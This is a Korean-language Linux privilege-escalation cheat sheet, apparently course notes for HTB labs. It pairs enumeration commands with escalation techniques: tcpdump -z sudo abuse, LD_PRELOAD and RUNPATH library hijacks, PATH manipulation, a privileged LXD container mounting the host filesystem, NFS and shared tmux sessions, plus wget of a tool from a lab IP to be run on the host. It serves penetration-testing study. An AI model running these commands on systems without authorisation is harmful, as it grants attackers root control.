리눅스 권한 상승
Linux 시스템의 루트 계정은 운영 체제에 대한 전체 관리자 수준의 액세스 권한을 제공합니다. 평가 중에 Linux 호스트에서 낮은 권한의 셸을 확보하고 루트 계정으로 권한 상승을 수행해야 할 수 있습니다. 호스트를 완전히 손상시키면 트래픽을 캡처하고 민감한 파일에 액세스할 수 있으며, 이는 환경 내에서 추가 액세스에 사용될 수 있습니다. 또한 Linux 컴퓨터가 도메인에 가입되어 있는 경우 NTLM 해시를 획득하여 Active Directory를 열거하고 공격하기 시작할 수 있습니다.
열거
얻어야 할 정보
OS 버전
: 배포판(우분투, 데비안, FreeBSD, 페도라, 수세, 레드햇, 센트OS 등)을 알면 사용 가능한 도구의 유형을 파악할 수 있습니다. 또한 사용 가능한 공개 익스플로잇이 있을 수 있는 운영 체제 버전도 식별할 수 있습니다.커널 버전
: OS 버전과 마찬가지로 특정 커널 버전의 취약점을 노리는 공개 익스플로잇이 있을 수 있습니다. .실행 중인 서비스
: 호스트에서 실행 중인 서비스, 특히 루트로 실행 중인 서비스를 파악하는 것이 중요합니다. Nagios, Exim, Samba, ProFTPd 등과 같은 많은 일반적인 서비스에서 결함이 발견되었습니다.
//열거 명령어
ps aux | grep root #현재 프로세스 나열
ps au #현재 프로세스 나열
history #배시 기록
sudo -l #사용자 권한 나열
cat /etc/passwd #비밀번호 읽기
ls -la /etc/cron.daily/ #예약 작업 확인
lsblk #파일 시스템 및 추가 드라이브 읽기
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null #쓰기 가능한 디렉터리 찾기
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null #쓰기 가능한 파일 찾기
netstat -tnl #TCP 연결, ip주소와 포트 번호, 리스닝 상태 등 정보 표시
PSpy
다양한 정보 획득 가능
//칼리리눅스에서
python -m http.server 80
//침투컴퓨터에서
wget 10.10.14.47/pspy32
./pspy32 #권한문제로 안된다면 chmod 사용
ssh htb-student@<target IP>
실습 대상에 대한 SSH
ps aux | grep root
루트로 실행 중인 프로세스 보기
ps au
로그인한 사용자 보기
ls /home
사용자 홈 디렉터리 보기
ls -l ~/.ssh
현재 사용자의 SSH 키 확인
history
현재 사용자의 Bash 기록 확인
sudo -l
사용자가 다른 사용자로서 무엇이든 실행할 수 있습니까?
ls -la /etc/cron.daily
일일 Cron 작업 확인
lsblk
마운트 해제된 파일 시스템/드라이브 확인
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null
세계적으로 쓰기 가능한 디렉토리 찾기
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
누구나 쓰기 가능한 파일 찾기
uname -a
커널 버전 확인
cat /etc/lsb-release
OS 버전 확인
gcc kernel_expoit.c -o kernel_expoit
C로 작성된 익스플로잇 컴파일
screen -v
설치된 버전을 확인하세요.Screen
./pspy64 -pf -i 1000
다음을 사용하여 실행 중인 프로세스 보기pspy
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
SUID 비트가 설정된 바이너리 찾기
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null
SETGID 비트가 설정된 바이너리 찾기
sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
개인 esctcpdump
echo $PATH
현재 사용자의 PATH 변수 내용을 확인하세요.
PATH=.:${PATH}
.
현재 사용자의 PATH 시작 부분에 추가
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null
구성 파일 검색
ldd /bin/ls
바이너리에 필요한 공유 객체 보기
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart
다음을 사용하여 권한 에스컬레이션LD_PRELOAD
readelf -d payroll | grep PATH
바이너리의 RUNPATH를 확인하세요.
gcc src.c -fPIC -shared -o /development/libshared.so
공유 라이브러리를 컴파일했습니다.
lxd init
LXD 초기화 프로세스 시작
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
로컬 이미지 가져오기
lxc init alpine r00t -c security.privileged=true
권한 있는 LXD 컨테이너 시작
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
컨테이너에 호스트 파일 시스템 마운트
lxc start r00t
컨테이너 시작
showmount -e 10.129.2.12
NFS 내보내기 목록 표시
sudo mount -t nfs 10.129.2.12:/tmp /mnt
NFS 공유를 로컬로 탑재
tmux -S /shareds new -s debugsess
공유 tmux
세션 소켓을 만들었습니다.
./lynis audit system
다음을 사용하여 시스템 감사를 수행합니다.Lynis
Last updated